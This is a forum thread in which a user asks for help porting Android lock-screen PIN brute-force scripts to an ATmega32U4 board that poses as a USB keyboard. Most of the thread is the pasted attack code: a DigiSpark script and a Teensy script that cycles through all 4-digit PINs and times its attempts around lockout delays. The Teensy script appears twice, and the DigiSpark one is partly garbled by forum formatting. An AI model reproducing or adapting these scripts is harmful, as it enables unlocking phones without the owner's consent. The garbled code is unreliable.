translating digispark script to leonardo

Hello ,

Ive been trying to load a 4-pin bruteforce script for android on my Pro Micro Leonardo ATmega32U4. When I try to verify I get error.My programming skills are based on copy & paste.

This is what I'm trying to use .Any pointer in the right direction would be greatly appreciated.

/===============================================
DigiBruteDroid - A 4-Digit PIN Brute Force attack
for USB-OTG Android devices.
Written to support DigiStump's DigiSpark Model A.
Written by Seattleandrew
===============================================
/

#include "DigiKeyboard.h"
int num = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 0; //1st digit
int b = 0; //2nd digit
int c = 0; //3rd digit
int d = 0; //4th digit
int e = 0; //5th digit
int count = 0;
bool key_stroke_e = false;

void setup() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
delay(3000);
}

void loop() {
//After 5 attempts, initialize 31000 ms wait to retry.
if(count == 5){
digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
delay(31000);
count = 0;
digitalWrite(1,LOW);
}
/Sends keystrokes based upon the values between 0-9
It will start bruting 5 digits if a exceeds 10
/
if (key_stroke_e == false)
DigiKeyboard.sendKeyStroke(num[a]);
DigiKeyboard.sendKeyStroke(num**);**
** DigiKeyboard.sendKeyStroke(num**
c** **);     DigiKeyboard.sendKeyStroke(num[d]);   //check for whether it is true. If so, use 5 digits instead.   if (key_stroke_e == true){     DigiKeyboard.sendKeyStroke(num[a]);     DigiKeyboard.sendKeyStroke(num[b]);     DigiKeyboard.sendKeyStroke(num[c]);     DigiKeyboard.sendKeyStroke(num[d]);     DigiKeyboard.sendKeyStroke(num[e]);   }   DigiKeyboard.sendKeyStroke(40);   delay(1000);   d++;   count++;   //If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit   if(d == 10){     d = 0;     c++;     //If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit     if(c == 10){       c = 0;       b++;       //If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit       if(b == 10){         b = 0;         a++; //if the 1st digit is past 9 it'll probably just throw out errors. if(a == 10){   //remain_true will equal true, loop through void(), and send the 5th keystroke   key_stroke_e = true;   e++;   //Remember that brute forcing will still work, despite its strange order.   //After e == 10, it will become 0 again.   if(e == 10){     e = 0;   } }       }      }   }    }[/td] [/tr] [/table]** **

When I try to verify I get error

What error would that be ?
Something about DigiKeyboard.h perhaps ?

You forgot to use code tags so some of your code got turned into ‘bold’ tags. Edit your post to change the ‘pre’ tags to ‘code’ tags.

so i seem to have a really hard time trying to translate Teensy payloads to my Leonardo pro micro.Is there a translater …I know its similar but there are certain things that don’t work when I verify to burn on my Pro Micro.
basically Im getting “‘Keyboard’ not found. Does your sketch include the line ‘#include <Keyboard.h>’?”
I add the line before the setup put ,its a library i imagine but how do i add it …Basicallly Im lost .Im trying to break into my 3 old phones all are under 5.1.0
This what Im trying to work with .
they are two codes that i have found for teensy 3.0 but im on a Pro Micro
1st code

/*==========================================================================================
Purpose:  4-Digit PIN Brute Force attack for USB-OTG Android devices using Teensy 3.0
Author:   David Szili
Version:  1.0
==========================================================================================*/
 
// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;
 
// Teensy 3.0 has LED on 13
const int ledPin = 13;
 
// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;
 
// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;
 
void setup()
{
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  
  // Wait 5 seconds to prepare the Android Device
  delay(5000);
}
 
void loop()
{
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
  {
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
    {
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
      {
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
        {
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
          {
            if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
              for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
              {
                // Turn on the On-Board LED to indicate it is waiting
                digitalWrite(ledPin, HIGH);
                // Wait 5 seconds and hit Enter
                delay(5000);
                Keyboard.println();
              }
              // Wait 2 more extra seconds, just to be sure
              delay(2000);
              // Turn off the On-Board LED
              digitalWrite(ledPin, LOW); 
            }
            else // Normal brute-force mode
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4)); 
              delay(500);
              Keyboard.println();
            }
          }
        }
      }
    }
    // Flip the flag to true
    finishedPINcracking = 1;
  }
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
  else
  {
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds
    Keyboard.println();
  }
}

2ND CODE

 /*==========================================================================================
Purpose:  4-Digit PIN Brute Force attack for USB-OTG Android devices using Teensy 3.0
Author:   David Szili
Version:  1.0
==========================================================================================*/
 
// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;
 
// Teensy 3.0 has LED on 13
const int ledPin = 13;
 
// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;
 
// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;
 
void setup()
{
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  
  // Wait 5 seconds to prepare the Android Device
  delay(5000);
}
 
void loop()
{
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
  {
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
    {
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
      {
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
        {
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
          {
            if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
              for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
              {
                // Turn on the On-Board LED to indicate it is waiting
                digitalWrite(ledPin, HIGH);
                // Wait 5 seconds and hit Enter
                delay(5000);
                Keyboard.println();
              }
              // Wait 2 more extra seconds, just to be sure
              delay(2000);
              // Turn off the On-Board LED
              digitalWrite(ledPin, LOW); 
            }
            else // Normal brute-force mode
            {
              // Enter PIN: convert int to String and concatenate them
              Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4)); 
              delay(500);
              Keyboard.println();
            }
          }
        }
      }
    }
    // Flip the flag to true
    finishedPINcracking = 1;
  }
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
  else
  {
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds
    Keyboard.println();
  }
}

to my Leonardo pro micro.

Do you have a Leonardo OR a micro?

i found how to put the keynoard.in lol ! but any advice on translating many use leds or push buttons that my modest micro doesnt have

on my Pro Micro Leonardo ATmega32U4.

The Micro and Leonardo are different boards.

Please do not cross-post. Threads merged.

Thankyou havent figured out how to find previously posted threat .Thought it was removed because of the Code brackets missing from first one .